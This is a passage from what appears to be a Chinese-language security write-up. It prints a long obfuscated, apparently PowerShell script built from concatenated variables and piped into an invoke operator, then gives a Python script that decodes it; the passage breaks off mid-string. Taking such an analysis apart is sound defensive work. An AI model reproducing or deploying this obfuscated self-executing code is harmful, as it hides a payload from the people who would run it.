u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$o+$g$b$u$b+$g$l$d+$g$i$x+$g$o$l+$g$e$b+$g$b$u$i+$g$e$x+$g$d$q+$g$e$i+$g$d$d+$g$l$d+$g$d$q+$g$d$e+$g$x$o+$g$o$l+$g$e$i+$g$z$x+$g$b$b$x+$g$l$d+$g$b$b$q+$g$e$q+$g$e$z+$g$b$b$d+$g$b$u$o+$g$b$u$d+$g$b$b$u+$g$e$b+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i)  &quot;  |  .$r </span><br></pre></td></tr></table></figure><p>通过累加来进行赋值，搓一个python还原脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 定义变量映射</span></span><br><span class="line">var_map = &#123;</span><br><span class="line">    <span class="string">&#x27;b&#x27;</span>: <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;u&#x27;</span>: <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;q&#x27;</span>: <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;z&#x27;</span>: <span class="string">&#x27;3&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;o&#x27;</span>: <span class="string">&#x27;4&#x27;</span>, <span class="string">&#x27;d&#x27;</span>: <span class="string">&#x27;5&#x27;</span>, <span class="string">&#x27;h&#x27;</span>: <span class="string">&#x27;6&#x27;</span>, <span class="string">&#x27;e&#x27;</span>: <span class="string">&#x27;7&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;i&#x27;</span>: <span class="string">&#x27;8&#x27;</span>, <span class="string">&#x27;l&#x27;</span>: <span class="string">&#x27;9&#x27;</span>, <span class="string">&#x27;x&#x27;</span>: <span class="string">&#x27;6&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从原始脚本中提取的编码字符串（简化版）</span></span><br><span class="line">encoded_str = (</span><br><span class="line">    <span class="string">&quot;$g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b